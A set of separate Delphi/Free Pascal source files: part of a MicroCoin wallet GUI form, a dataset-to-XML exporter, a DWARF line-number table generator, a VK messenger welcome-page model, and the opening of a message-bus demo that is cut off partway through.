1: xPayload := ECIESEncrypt(xTargetAccount.AccountInfo.AccountKey, payloadEdit.Text);
2: xPayload := ECIESEncrypt(xSenderAccount.AccountInfo.AccountKey, payloadEdit.Text);
3: xPayload := TAESComp.EVP_Encrypt_AES256(xPayload, encryptionPassword.Text);
end;
end else xPayload := '';
xWalletKey := TNode.Node.KeyManager.Key[i];
xTransaction := TTransferMoneyTransaction.CreateTransaction(xSenderAccount.AccountNumber,
xSenderAccount.NumberOfTransactions + 1,
xTargetAccount.AccountNumber, xWalletKey.PrivateKey, xAmount, xFee, xPayload);
if MessageDlg(StrExecuteTransaction+xTransaction.ToString, mtConfirmation, [mbYes, mbNo], 0)<>mrYes
then exit;
if not TNode.Node.AddTransaction(nil, xTransaction, xErrors) then begin
MessageDlg(xErrors, TMsgDlgType.mtError, [mbOK],0);
exit;
end else begin
amountEdit.Clear;
feeEdit.Text := TCurrencyUtils.CurrencyToString(0);
payloadEdit.Lines.Clear;
encryptionPassword.Clear;
edTargetAccount.Text := '';
MessageDlg(StrTransactionSuccessfullyExecuted, TMsgDlgType.mtInformation, [mbOK], 0);
end;
end;
procedure TMainForm.SetMinersBlocksFound(const Value: Integer);
begin
FMinersBlocksFound := Value;
labelBlocksFound.Caption := IntToStr(Value);
if Value > 0 then
labelBlocksFound.Font.Color := clGreen
else
labelBlocksFound.Font.Color := clDkGray;
end;
procedure TMainForm.SettingsActionExecute(Sender: TObject);
begin
with TSettingsForm.Create(nil) do begin
AppParams := FAppSettings;
if ShowModal = mrOk then begin
UpdateConfigChanged;
end;
end;
end;
procedure TMainForm.ShowLogActionExecute(Sender: TObject);
begin
logPanel.Visible := not logPanel.Visible;
Splitter1.Top := logPanel.Top;
end;
procedure TMainForm.StatusBarDrawPanel(StatusBar: TStatusBar;
Panel: TStatusPanel; const Rect: TRect);
var
xText : string;
xIndex: integer;
xRect : TRect;
xDetails : TThemedElementDetails;
begin
StatusBar.Canvas.Font.Color := StyleServices.GetSystemColor(clWindowText);
xDetails := StyleServices.GetElementDetails(tsPane);
if Panel.Index = 0 then begin
xRect := Rect;
xRect.Left := xRect.Left + 3;
xRect.Top := xRect.Top+1;
StyleServices.DrawIcon(StatusBar.Canvas.Handle, xDetails, xRect, miscIcons.Handle, 3);
xRect.Left := xRect.Left + 23;
xRect.Top := xRect.Top;
if TNode.Node.NetServer.Active
then xText := StrActive
else xText := StrStopped;
StyleServices.DrawText(StatusBar.Canvas.Handle, xDetails, xText, xRect, [tfLeft] , StatusBar.Canvas.Font.Color);
end;
if Panel.Index = 1 then begin
if TConnectionManager.Instance.NetStatistics.ClientsConnections + TConnectionManager.Instance.NetStatistics.ServersConnections = 0
then xIndex := 2
else xIndex := 1;
xRect := Rect;
xRect.Left := xRect.Left + 3;
StyleServices.DrawIcon(StatusBar.Canvas.Handle, xDetails, xRect, miscIcons.Handle, xIndex);
xRect.Left := xRect.Left + 23;
xRect.Top := xRect.Top;
xText := Format(StrClientsServers, [TConnectionManager.Instance.NetStatistics.ClientsConnections, TConnectionManager.Instance.NetStatistics.ServersConnections]);
StyleServices.DrawText(StatusBar.Canvas.Handle, xDetails, xText, xRect, [tfLeft] , StatusBar.Canvas.Font.Color);
end;
if Panel.Index = 2 then begin
xRect := Rect;
xRect.Left := xRect.Left + 3;
StyleServices.DrawIcon(StatusBar.Canvas.Handle, xDetails, xRect, miscIcons.Handle, 6);
xRect.Left := xRect.Left + 23;
xRect.Top := xRect.Top;
xText := Format(StrTraffic,
[TConnectionManager.Instance.NetStatistics.BytesReceived/1024,
TConnectionManager.Instance.NetStatistics.BytesSend/1024]);
StyleServices.DrawText(StatusBar.Canvas.Handle, xDetails, xText, xRect, [tfLeft] , StatusBar.Canvas.Font.Color);
end;
if Panel.Index = 5 then begin
bShowLogs.Top := Rect.Top;
bShowLogs.Left := Rect.Right - 35;
bShowLogs.Width := 30;
bShowLogs.Height := Rect.Bottom - Rect.Top - 3;
end;
end;
procedure TMainForm.TimerUpdateStatusTimer(Sender: TObject);
begin
try
UpdateConnectionStatus;
UpdateBlockChainState;
UpdateNodeStatus;
except
on E: Exception do
begin
E.Message := Format(StrExceptionAtTimerUpdate, [E.Classname, E.Message]);
TLog.NewLog(lterror, Classname, E.Message);
end;
end;
end;
procedure TMainForm.TrayIconDblClick(Sender: TObject);
begin
TimerUpdateStatus.Enabled := true;
Show();
WindowState := wsNormal;
Application.BringToFront();
end;
procedure TMainForm.UpdateAccounts(RefreshData: Boolean);
var
l: TOrderedList;
i, j, k: Integer;
xAccount: TAccount;
begin
if not assigned(FAccounts)
then FAccounts := TOrderedList.Create
else FAccounts.Clear;
FTotalAmount := 0;
if not cbExploreMyAccounts.Checked
then begin
if not cbForSale.Checked
then begin
accountVList.RootNodeCount := TNode.Node.TransactionStorage.BlockManager.AccountStorage.AccountsCount;
FTotalAmount := TNode.Node.TransactionStorage.BlockManager.AccountStorage.TotalBalance;
end else begin
for i := 0 to TNode.Node.TransactionStorage.BlockManager.AccountStorage.AccountsCount-1
do begin
xAccount := TNode.Node.TransactionStorage.AccountTransaction.Account(i);
if xAccount.AccountInfo.State = as_ForSale
then FAccounts.Add(xAccount.AccountNumber);
end;
accountVList.RootNodeCount := FAccounts.Count;
end;
end else begin
if cbMyPrivateKeys.ItemIndex<0 then exit;
if cbMyPrivateKeys.ItemIndex=0 then begin
for i := 0 to TNode.Node.KeyManager.Count - 1 do begin
j := FOrderedAccountsKeyList.IndexOfAccountKey(TNode.Node.KeyManager[i].AccountKey);
if (j>=0) then begin
l := FOrderedAccountsKeyList.AccountList[j];
for k := 0 to l.Count - 1 do begin
xAccount := TNode.Node.TransactionStorage.AccountTransaction.Account(l.Get(k));
if cbForSale.Checked
then if xAccount.AccountInfo.State <> as_ForSale then continue;
FAccounts.Add(l.Get(k));
FTotalAmount := FTotalAmount + xAccount.Balance;
end;
end;
end;
end else begin
i := PtrInt(cbMyPrivateKeys.Items.Objects[cbMyPrivateKeys.ItemIndex]);
if (i>=0) And (i<TNode.Node.KeyManager.Count) then begin
j := FOrderedAccountsKeyList.IndexOfAccountKey(TNode.Node.KeyManager[i].AccountKey);
if (j>=0) then begin
l := FOrderedAccountsKeyList.AccountList[j];
for k := 0 to l.Count - 1 do begin
xAccount := TNode.Node.TransactionStorage.AccountTransaction.Account(l.Get(k));
if cbForSale.Checked
then if xAccount.AccountInfo.State <> as_ForSale then continue;
FAccounts.Add(l.Get(k));
FTotalAmount := FTotalAmount + xAccount.Balance;
end;
end;
end;
end;
accountVList.RootNodeCount := FAccounts.Count;
end;
accountVList.Invalidate;
accountVList.ReinitNode(nil, true);
labelAccountsBalance.Caption := TCurrencyUtils.CurrencyToString(FTotalAmount);
labelAccountsCount.Caption := Format('%.0n', [accountVList.RootNodeCount+0.0]);
end;
procedure TMainForm.UpdateBlockChainState;
var
F, favg: real;
begin
UpdateNodeStatus;
if true then
begin
if TNode.Node.BlockManager.BlocksCount > 0 then
begin
lblCurrentBlock.Caption := IntToStr(TNode.Node.BlockManager.BlocksCount) + ' (0..' +
IntToStr(TNode.Node.BlockManager.BlocksCount - 1) + ')';;
end
else lblCurrentBlock.Caption := StrNone;
lblCurrentAccounts.Caption := IntToStr(TNode.Node.BlockManager.AccountsCount);
lblCurrentBlockTime.Caption := UnixTimeToLocalElapsedTime(TNode.Node.BlockManager.LastBlock.timestamp);
labelOperationsPending.Caption := IntToStr(TNode.Node.TransactionStorage.TransactionCount);
lblCurrentDifficulty.Caption := IntToHex(TNode.Node.TransactionStorage.BlockHeader.compact_target, 8);
if TConnectionManager.Instance.MaxRemoteOperationBlock.block > TNode.Node.BlockManager.BlocksCount
then begin
StatusBar.Panels[3].Text :=
Format(StrDownloadingBlocks, [TNode.Node.BlockManager.BlocksCount+0.0,
TConnectionManager.Instance.MaxRemoteOperationBlock.block+0.0
]);
if Assigned(FBackgroundPanel) then begin
FBackgroundPanel.Caption := StatusBar.Panels[3].Text;
FProgessBar.Max := TConnectionManager.Instance.MaxRemoteOperationBlock.block;
FProgessBar.Position := TNode.Node.BlockManager.BlocksCount;
end;
end
else begin
StatusBar.Panels[3].Text := Format(StrBlocks0n, [TNode.Node.BlockManager.BlocksCount+0.0]) + ' | ' + StrDifficulty0x +
IntToHex(TNode.Node.TransactionStorage.BlockHeader.compact_target, 8);
end;
if TConnectionManager.IgnoreOldBlocks then begin
if TConnectionManager.Operation=1 then begin
StatusBar.Panels[3].Text := Format(StrDownloadingCheckpoints, [ TConnectionManager.Status ]);
end;
if TConnectionManager.Operation=2 then begin
StatusBar.Panels[3].Text := Format(StrProcessingCheckpoints, [ TConnectionManager.Status ]);
end;
if TConnectionManager.Operation=3 then begin
StatusBar.Panels[3].Text := StrLoadingAccounts;
end;
end;
favg := TNode.Node.BlockManager.GetActualTargetSecondsAverage(cDifficultyCalcBlocks);
F := (cBlockTime - favg) / cBlockTime;
lblTimeAverage.Caption := Format(StrLastOptiomalDeviation, [IntToStr(cDifficultyCalcBlocks), FormatFloat('0.0', favg),
IntToStr(cBlockTime), FormatFloat('0.00%', F * 100)]);
if favg >= cBlockTime then
begin
lblTimeAverage.Font.Color := clNavy;
end
else
begin
lblTimeAverage.Font.Color := clOlive;
end;
lblTimeAverageAux.Caption := Format('Last %d: %s sec. - %d: %s sec. - %d: %s sec. - %d: %s sec.' + ' - %d: %s sec.', [cDifficultyCalcBlocks * 2,
FormatFloat('0.0', TNode.Node.BlockManager.GetActualTargetSecondsAverage(cDifficultyCalcBlocks * 2)),
((cDifficultyCalcBlocks * 3) div 2), FormatFloat('0.0',
TNode.Node.BlockManager.GetActualTargetSecondsAverage((cDifficultyCalcBlocks * 3) div 2)),
((cDifficultyCalcBlocks div 4) * 3), FormatFloat('0.0',
TNode.Node.BlockManager.GetActualTargetSecondsAverage(((cDifficultyCalcBlocks div 4) * 3))),
cDifficultyCalcBlocks div 2, FormatFloat('0.0',
TNode.Node.BlockManager.GetActualTargetSecondsAverage(cDifficultyCalcBlocks div 2)),
cDifficultyCalcBlocks div 4, FormatFloat('0.0',
TNode.Node.BlockManager.GetActualTargetSecondsAverage(cDifficultyCalcBlocks div 4))]);
end else begin
StatusBar.Panels[3].Text := '';
lblCurrentBlock.Caption := '';
lblCurrentAccounts.Caption := '';
lblCurrentBlockTime.Caption := '';
labelOperationsPending.Caption := '';
lblCurrentDifficulty.Caption := '';
lblTimeAverage.Caption := '';
lblTimeAverageAux.Caption := '';
end;
if (Assigned(FPoolMiningServer)) and (FPoolMiningServer.Active) then
begin
if FPoolMiningServer.ClientsCount > 0 then
begin
labelMinersClients.Caption := Format(StrConnectedJSONRPCClients, [FPoolMiningServer.ClientsCount]);
labelMinersClients.Font.Color := clNavy;
end
else
begin
labelMinersClients.Caption := StrNoJSONRPCClients;
labelMinersClients.Font.Color := clDkGray;
end;
MinersBlocksFound := FPoolMiningServer.ClientsWins;
end
else
begin
MinersBlocksFound := 0;
labelMinersClients.Caption := StrJSONRPCServerNotActive;
labelMinersClients.Font.Color := clRed;
end;
end;
procedure TMainForm.UpdateConfigChanged;
var
xIsNetServerActive: Boolean;
i: Integer;
begin
FLog.OnNewLog := OnNewLog;
if FAppSettings.Entries[TAppSettingsEntry.apSaveLogFiles].GetAsBoolean(false) or true then
begin
if FAppSettings.Entries[TAppSettingsEntry.apSaveDebugLogs].GetAsBoolean(false) then
FLog.SaveTypes := CT_TLogTypes_ALL
else
FLog.SaveTypes := CT_TLogTypes_DEFAULT;
FLog.FileName := MicroCoinDataFolder + PathDelim + 'MicroCointWallet.log';
end
else
begin
FLog.SaveTypes := [];
FLog.FileName := '';
end;
xIsNetServerActive := TNode.Node.NetServer.Active;
TNode.Node.NetServer.Port := FAppSettings.Entries[TAppSettingsEntry.apInternetServerPort].GetAsInteger(cNetServerPort);
TNode.Node.NetServer.Active := xIsNetServerActive;
TNode.Node.TransactionStorage.BlockPayload := FAppSettings.Entries[TAppSettingsEntry.apMinerName].GetAsString('');
TNode.Node.NodeLogFilename := MicroCoinDataFolder + PathDelim + 'blocks.log';
if Assigned(FPoolMiningServer) then
begin
if FPoolMiningServer.Port <> FAppSettings.Entries[TAppSettingsEntry.apJSONRPCMinerServerPort]
.GetAsInteger(cMinerServerPort) then
begin
FPoolMiningServer.Active := false;
FPoolMiningServer.Port := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCMinerServerPort]
.GetAsInteger(cMinerServerPort);
end;
FPoolMiningServer.Active := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCMinerServerActive].GetAsBoolean(true);
FPoolMiningServer.UpdateAccountAndPayload(GetAccountKeyForMiner,
FAppSettings.Entries[TAppSettingsEntry.apMinerName].GetAsString(''));
end;
if Assigned(FRPCServer) then
begin
FRPCServer.Active := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCEnabled].GetAsBoolean(false);
FRPCServer.ValidIPs := FAppSettings.Entries[TAppSettingsEntry.apJSONRPCAllowedIPs].GetAsString('127.0.0.1');
end;
i := FAppSettings.Entries[TAppSettingsEntry.apMinerPrivateKeyType].GetAsInteger(Integer(mpk_Random));
if (i >= Integer(low(TMinerPrivateKey))) and (i <= Integer(high(TMinerPrivateKey))) then
FMinerPrivateKeyType := TMinerPrivateKey(i)
else
FMinerPrivateKeyType := mpk_Random;
end;
procedure TMainForm.UpdateConnectionStatus;
var
xErrors: AnsiString;
begin
UpdateNodeStatus;
OnNetStatisticsChanged(nil);
if TNode.Node.IsBlockChainValid(xErrors) then
begin
StatusBar.Panels[4].Text := Format(StrLastBlock, [UnixTimeToLocalElapsedTime(TNode.Node.BlockManager.LastBlock.timestamp)]);
end
else
begin
StatusBar.Panels[4].Text := Format(StrLastBlock, [UnixTimeToLocalElapsedTime(TNode.Node.BlockManager.LastBlock.timestamp)]);
end;
end;
procedure TMainForm.UpdateNodeStatus;
var
xStatus: AnsiString;
begin
if TNode.Node.isready(xStatus) then
begin
if TConnectionManager.Instance.NetStatistics.ActiveConnections > 0 then
begin
lblNodeStatus.Font.Color := clGreen;
if TConnectionManager.Instance.IsDiscoveringServers then
begin
lblNodeStatus.Caption := StrDiscoveringServers;
end
else if TConnectionManager.Instance.IsGettingNewBlockChainFromClient then
begin
lblNodeStatus.Caption := StrObtainingNewBlockchain;
end
else
begin
lblNodeStatus.Caption := StrRunning;
end;
end
else
begin
lblNodeStatus.Font.Color := clRed;
lblNodeStatus.Caption := StrAloneInTheWorld;
end;
end
else
begin
lblNodeStatus.Font.Color := clRed;
lblNodeStatus.Caption := xStatus;
end;
if Assigned(FBackgroundPanel) then
begin
FBackgroundPanel.Font.Color := lblNodeStatus.Font.Color;
FProgessBar.Top := 10 + Abs(FBackgroundPanel.Font.Height) + (FBackgroundPanel.Height div 2 - FProgessBar.Height div 2);
FProgessBar.Left := FBackgroundPanel.Width div 2 - FProgessBar.Width div 2;
FBackgroundPanel.Caption := Format('%s', [lblNodeStatus.Caption]);
if TNode.Node.BlockManager.IsLoadingBlocks
then begin
FBackgroundPanel.Caption := Format('%s', [lblNodeStatus.Caption]);
FProgessBar.Max := Max(1,TNode.Node.BlockManager.Storage.LastBlock mod 100);
FProgessBar.Position := TNode.Node.BlockManager.BlocksCount mod 100;
end else begin
FProgessBar.Max := Max(TNode.Node.BlockManager.Storage.LastBlock,1);
FProgessBar.Position := TNode.Node.BlockManager.BlocksCount;
end;
end;
end;
procedure TMainForm.UpdatePrivateKeys;
var
i, last_i: Integer;
xWalletKey: TWalletKey;
s: AnsiString;
begin
if (not Assigned(FOrderedAccountsKeyList))
then FOrderedAccountsKeyList := TOrderedAccountKeysList.Create(TNode.Node.BlockManager.AccountStorage, false);
if (cbMyPrivateKeys.ItemIndex >= 0)
then last_i := PtrInt(cbMyPrivateKeys.Items.Objects[cbMyPrivateKeys.ItemIndex])
else last_i := -1;
cbMyPrivateKeys.Items.BeginUpdate;
try
cbMyPrivateKeys.Items.Clear;
for i := 0 to TNode.Node.KeyManager.Count - 1 do
begin
xWalletKey := TNode.Node.KeyManager.Key[i];
if Assigned(FOrderedAccountsKeyList)
then FOrderedAccountsKeyList.AddAccountKey(xWalletKey.AccountKey);
if (xWalletKey.name = '')
then begin
s := 'Sha256=' + TBaseType.ToHexaString(TCrypto.DoSha256(xWalletKey.AccountKey.ToRawString));
end else begin
s := xWalletKey.name;
end;
if not Assigned(xWalletKey.PrivateKey)
then s := s + '(*)';
cbMyPrivateKeys.Items.AddObject(s, TObject(i));
end;
cbMyPrivateKeys.Sorted := true;
cbMyPrivateKeys.Sorted := false;
cbMyPrivateKeys.Items.InsertObject(0, StrAllMyPrivateKeys, TObject(-1));
finally
cbMyPrivateKeys.Items.EndUpdate;
end;
last_i := cbMyPrivateKeys.Items.IndexOfObject(TObject(last_i));
if last_i < 0
then last_i := 0;
if cbMyPrivateKeys.Items.Count > last_i
then cbMyPrivateKeys.ItemIndex := last_i
else if cbMyPrivateKeys.Items.Count >= 0
then cbMyPrivateKeys.ItemIndex := 0;
end;
procedure TMainForm.SendUpdate(Sender: TObject);
var
xTemp : Cardinal;
xTemp2: Int64;
xIsReady: AnsiString;
begin
Send.Enabled := (accountVList.FocusedNode <> nil)
and TNode.Node.IsReady(xIsReady)
and TAccount.ParseAccountNumber(edTargetAccount.Text, xTemp)
and TCurrencyUtils.ParseValue(amountEdit.Text, xTemp2)
and TCurrencyUtils.ParseValue(feeEdit.Text, xTemp2);
end;
initialization
MainForm := nil;
end.
|
unit Db2XML;
interface
uses
XMLDoc, XMLIntf, DB;
type TDb2XmlRoot = class
private
XmlDoc: TXMLDocument;
function GetFileName: string;
procedure setFileName(const Value: string);
public
RootNode: IXmlNode;
Constructor Create(FileName, RootNodeName, RootNodeParams: string);
procedure Save;
property FileName: string read GetFileName write SetFileName;
end;
type TDb2XmlDataLayer = class
private
Rules: string;
Dataset: TDataSet;
procedure OneRecordToXml(ParentNode: IXmlNode; Rules: String);
public
Constructor Create(Rules: string; Dataset: TDataset);
procedure Execute(ParentNode: IXmlNode);
end;
implementation
uses SysUtils, classes, DDD_Str;
{ TDb2Xml }
constructor TDb2XmlRoot.Create(FileName, RootNodeName, RootNodeParams: string);
var
ParamName, ParamValue: string;
begin
inherited Create;
XmlDoc := TXMLDocument.Create('');
with XmlDoc do
begin
Active := true;
Options := [doNodeAutoCreate,doNodeAutoIndent,doAttrNull,doAutoPrefix,doNamespaceDecl];
Version := '1.0';
Encoding := 'UTF-8';
rootNode:=AddChild(RootNodeName);
while RootNodeParams <> '' do
begin
ParamValue := CutString(';', RootNodeParams);
ParamName := CutString('=', ParamValue);
rootNode.Attributes[ParamName] := ParamValue;
end;
end;
XmlDoc.FileName := FileName;
end;
function TDb2XmlRoot.GetFileName: string;
begin
result := XmlDoc.FileName;
end;
procedure TDb2XmlRoot.Save;
begin
XmlDoc.SaveToFile();
end;
{ TDb2XmlDataLayer }
constructor TDb2XmlDataLayer.Create(Rules: string; Dataset: TDataset);
begin
inherited Create;
Self.Dataset := Dataset;
Self.Rules := rules;
end;
procedure TDb2XmlDataLayer.Execute(ParentNode: IXmlNode);
begin
Dataset.First;
while not (Dataset.Eof) do
begin
OneRecordToXml(ParentNode, Self.Rules);
Dataset.Next;
end;
end;
procedure TDb2XmlRoot.setFileName(const Value: string);
begin
XmlDoc.FileName := value;
end;
procedure TDb2XmlDataLayer.OneRecordToXml(ParentNode: IXmlNode;
Rules: String);
var
sl: TStringList;
i: integer;
RuleLine: string;
NodeName, DataField: string;
Level: integer;
Levels: array of IXMLNode;
procedure ProcessAttr(NodeAtLevel: integer; AttrName, DataField: string);
var
Node: IXMLNode;
Data: string;
begin
{*
Углубляться мы здесь не можем. Нода Уже создана и находится на указанном уровне.
*}
Node := Levels[NodeAtLevel];
if DataField = '' then
Data := ''
else
Data := Dataset.FieldByName(DataField).AsString;
Node.Attributes[AttrName] := Data;
end;
procedure ProcessNode(NodeName, DataField: string);
var
Node: IXMLNode;
begin
if Level = Length(Levels) - 1 then
begin
// Остальсь на том же уровне вложенности
Node := Levels[Level];
// Изменилось ли имя?
if NodeName <> Node.NodeName then
begin
Node := Node.ParentNode.AddChild(NodeName);
Levels[Level] := Node;
end;
end
else if Level > Length(Levels) - 1 then
begin
// Углубляемся
Node := Levels[Level-1].AddChild(NodeName);
SetLength(Levels, Level + 1);
Levels[Level] := Node;
end
else if Level < Length(Levels) - 1 then
begin
// Всплываем
Node := Levels[Level];
SetLength(Levels, Level + 1);
// Изменилось ли имя?
if NodeName <> Node.NodeName then
begin
Node := Node.ParentNode.AddChild(NodeName);
Levels[Level] := Node;
end;
end;
if DataField <> '' then
Node.NodeValue := Dataset.FieldByName(DataField).AsString;
end;
begin
try
sl:=TStringList.Create;
SetLength(Levels, 1);
Levels[0] := ParentNode;
// На нулевом уровне -- родитель!!!
sl.Text := Rules;
for i := 0 to sl.Count - 1 do
begin
RuleLine := sl.Strings[i];
// Игнор комментариев и пустых строк
if trim(RuleLine) = '' then Continue;
if RuleLine[1] = ';' then Continue;
Level := Length(RuleLine) - length(TrimLeft(RuleLine)) + 1;
NodeName := CutString('=',RuleLine);
DataField := RuleLine;
if NodeName[1] = '#' then
ProcessAttr(Level - 1, copy(NodeName, 2, length(NodeName)), DataField)
else
ProcessNode(NodeName, DataField);
end;
finally
sl.Free;
end;
end;
end.
|
unit Generator;
interface
uses
System.Classes;
type
TLineNumberGenerator = class
{$REGION 'Internal Declarations'}
private type
TLine = record
Address: UInt64;
Line: Integer;
end;
private
FExePath: String;
FSymPath: String;
FLineNumPath: String;
private
procedure WriteLines(const AID: TGUID; const ALines: TArray<TLine>);
private
class procedure AppendByte(const AStream: TStream;
const AValue: Byte); static;
class procedure AppendVarInt(const AStream: TStream;
const AValue: UInt32); inline; static;
{$ENDREGION 'Internal Declarations'}
public
constructor Create(const APath: String);
procedure Run;
end;
implementation
uses
System.SysUtils,
System.Generics.Collections,
System.Generics.Defaults,
Grijjy.LineNumberInfo,
MachO,
Dwarf;
{ TLineNumberGenerator }
class procedure TLineNumberGenerator.AppendByte(const AStream: TStream;
const AValue: Byte);
begin
AStream.WriteBuffer(AValue, 1);
end;
class procedure TLineNumberGenerator.AppendVarInt(const AStream: TStream;
const AValue: UInt32);
var
Value: UInt32;
B: Byte;
begin
Value := AValue;
repeat
B := Value and $7F;
Value := Value shr 7;
if (Value <> 0) then
B := B or $80;
AStream.WriteBuffer(B, 1);
until (Value = 0);
end;
constructor TLineNumberGenerator.Create(const APath: String);
begin
inherited Create;
FExePath := APath;
FSymPath := APath + '.dSYM';
FLineNumPath := APath + '.gol';
end;
procedure TLineNumberGenerator.Run;
var
MachO: TMachOFile;
Dwarf: TDwarfInfo;
ExeID, SymID: TGUID;
DwarfSections: TDwarfSections;
MachOSection: TSection;
CU: TDwarfCompilationUnit;
Name: String;
Lines: TArray<TLine>;
Line: TDwarfLine;
PrevLine, LineCount: Integer;
begin
if (not FileExists(FExePath)) then
raise EFileNotFoundException.CreateFmt('Executable file "%s" not found', [FExePath]);
if (not FileExists(FSymPath)) then
raise EFileNotFoundException.CreateFmt('Symbol file "%s" not found', [FSymPath]);
MachO := TMachOFile.Create;
try
MachO.Load(FExePath);
ExeID := MachO.ID;
MachO.Load(FSymPath);
SymID := MachO.ID;
if (ExeID <> SymID) then
raise EStreamError.Create('ID of executable does not match ID of dSYM symbol file');
for MachOSection in MachO.Sections do
begin
if (MachOSection.SegmentName = '__DWARF') then
begin
Name := MachOSection.SectionName;
if (Name = '__debug_abbrev') then
DwarfSections.Abbrev := MachOSection.Load
else if (Name = '__debug_info') then
DwarfSections.Info := MachOSection.Load
else if (Name = '__debug_line') then
DwarfSections.Line := MachOSection.Load
else if (Name = '__debug_str') then
DwarfSections.Str := MachOSection.Load;
end;
end;
finally
MachO.Free;
end;
Dwarf := TDwarfInfo.Create;
try
Dwarf.Load(DwarfSections);
LineCount := 0;
for CU in Dwarf.CompilationUnits do
begin
PrevLine := -1;
SetLength(Lines, LineCount + CU.Lines.Count);
for Line in CU.Lines do
begin
if (Line.Line <> PrevLine) then
begin
PrevLine := Line.Line;
if (Line.Address > 0) then
begin
Lines[LineCount].Address := Line.Address;
Lines[LineCount].Line := Line.Line;
Inc(LineCount);
end;
end;
end;
end;
SetLength(Lines, LineCount);
finally
Dwarf.Free;
end;
TArray.Sort<TLine>(Lines, TComparer<TLine>.Construct(
function(const ALeft, ARight: TLine): Integer
begin
Result := ALeft.Address - ARight.Address;
end));
WriteLines(ExeID, Lines);
end;
procedure TLineNumberGenerator.WriteLines(const AID: TGUID;
const ALines: TArray<TLine>);
var
Buffer: TMemoryStream;
Header: TgoLineNumberHeader;
Stream: TFileStream;
I, LineDelta, Count: Integer;
AddressDelta: Int64;
begin
if (ALines = nil) then
raise EInvalidOperation.Create('Line number information not available');
AddressDelta := ALines[Length(ALines) - 1].Address - ALines[0].Address;
if (AddressDelta <= 0) or (AddressDelta > $FFFFFFFF) then
raise EInvalidOperation.Create('Line number addresses exceed 4 GB range');
Buffer := TMemoryStream.Create;
try
Header.Signature := LINE_NUMBER_SIGNATURE;
Header.Version := LINE_NUMBER_VERSION;
Header.Size := 0; // Filled in at the end
Header.Count := 0; // Filled in at the end
Header.ID := AID;
Header.StartVMAddress := ALines[0].Address;
Header.StartLine := ALines[0].Line;
Buffer.WriteBuffer(Header, SizeOf(Header));
{ Create state machine program }
Count := 0;
for I := 1 to Length(ALines) - 1 do
begin
AddressDelta := ALines[I].Address - ALines[I - 1].Address;
if (AddressDelta < 0) then
raise EInvalidOperation.Create('Invalid line number sequence (addresses should be incrementing)');
LineDelta := ALines[I].Line - ALines[I - 1].Line;
if (AddressDelta = 0) then
begin
if (LineDelta <> 0) then
raise EInvalidOperation.Create('Invalid line number sequence (different line numbers for same address)');
end
else
begin
if (LineDelta >= 1) and (LineDelta <= 4) then
begin
if (AddressDelta <= 63) then
begin
{ Most common case. Can be handled with single opcode without arguments }
AppendByte(Buffer, (LineDelta - 1) + ((AddressDelta - 1) * 4));
Inc(Count);
Continue;
end
else if (AddressDelta <= (63 * 2)) then
begin
{ We can use a 2-byte value for this }
AppendByte(Buffer, OP_ADVANCE_ADDR);
AppendByte(Buffer, (LineDelta - 1) + ((AddressDelta - 63 - 1) * 4));
Inc(Count);
Continue;
end;
end;
{ We need more than 2 bytes (uncommon).
When LineDelta <= 0, we *must* encode using an absolute line number.
Otherwise, we use relative encoding. }
if (LineDelta <= 0) then
begin
{ We need to encode an absolute line number }
AppendByte(Buffer, OP_ADVANCE_ABS);
AppendVarInt(Buffer, AddressDelta - 1);
AppendVarInt(Buffer, ALines[I].Line);
end
else
begin
{ We can encode a relative line number (which is usually more efficient) }
AppendByte(Buffer, OP_ADVANCE_REL);
AppendVarInt(Buffer, AddressDelta - 1);
AppendVarInt(Buffer, LineDelta - 1);
end;
Inc(Count);
end;
end;
{ Update Count and Size field }
Header.Count := Count;
Header.Size := Buffer.Size;
Move(Header, Buffer.Memory^, SizeOf(Header));
Stream := TFileStream.Create(FLineNumPath, fmCreate);
try
Buffer.Position := 0;
Stream.CopyFrom(Buffer);
finally
Stream.Free;
end;
finally
Buffer.Free;
end;
end;
end.
|
unit welcomepagemodel;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, AbstractModel, fphttpclient, vkcmconfig;
type
IWelcomePageModel = interface(IModel)
{Returns a title of text for welcome page}
function GetWelcomeTitle: string;
{Returns a text of welcome page}
function GetWelcomeText: string;
{Returns text with news}
function GetNews: string;
end;
{ TWelcomePageModel }
TWelcomePageModel = class(TInterfacedObject, IWelcomePageModel, IModel)
function GetWelcomeTitle: string;
function GetWelcomeText: string;
function GetNews: string;
end;
var
LWelcomePageModel: TWelcomePageModel;
implementation
{ TWelcomePageModel }
function TWelcomePageModel.GetWelcomeTitle: string;
begin
Result := 'Добро пожаловать в VKCommunityMessenger!';
end;
function TWelcomePageModel.GetWelcomeText: string;
begin
Result :=
'Нажмите на +, чтобы добавить новое сообщество. ' +
'Для добавления сообщества необходим ключ доступа к сообществу,' +
'который вы можете создать в настройках сообщества в разделе "Работа с API"';
end;
function TWelcomePageModel.GetNews: string;
var
Client: TFPHTTPClient;
begin
Client := TFPHTTPClient.Create(nil);
try
try
Result := Client.Get(NEWS_WEBPAGE);
finally
FreeAndNil(Client);
end;
except
Result := 'Невозможно подключиться к сервису новостей';
end;
end;
end.
|
unit Demo;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, MessageBus, Vcl.StdCtrls;
const
MSG_TEST1 = 'MessageType_1';
MSG_TEST2 = '{0C2DE102-5718-42E0-A2F1-666161B6DB34}';
MSG_TEST3 = 'MessageType_2';
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
fRecv: THandle;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
type
TMyBigDataMessage = class
private
fData: String;
fCounter: Integer;
public
property Data: String read fData;
property Counter: Integer read fCounter;
constructor Create;
procedure ChangeData;
end;
constructor TMyBigDataMessage.Create;
begin
inherited Create;
fData := GetTickCount.ToString;
end;
procedure TMyBigDataMessage.ChangeData;
begin
Inc(fCounter);
end;
//********************* SUBSCRIBERS part **************************************
procedure TForm1.FormCreate(Sender: TObject);
begin
fRecv := TMessageBus.Default.Subscribe<String>(MSG_TEST1,
procedure(const aValue: String; aEnv: TMessageBus.TBusEnvir) // procedure on receive string message type MSG_TEST1
begin
Caption := aValue;
end);
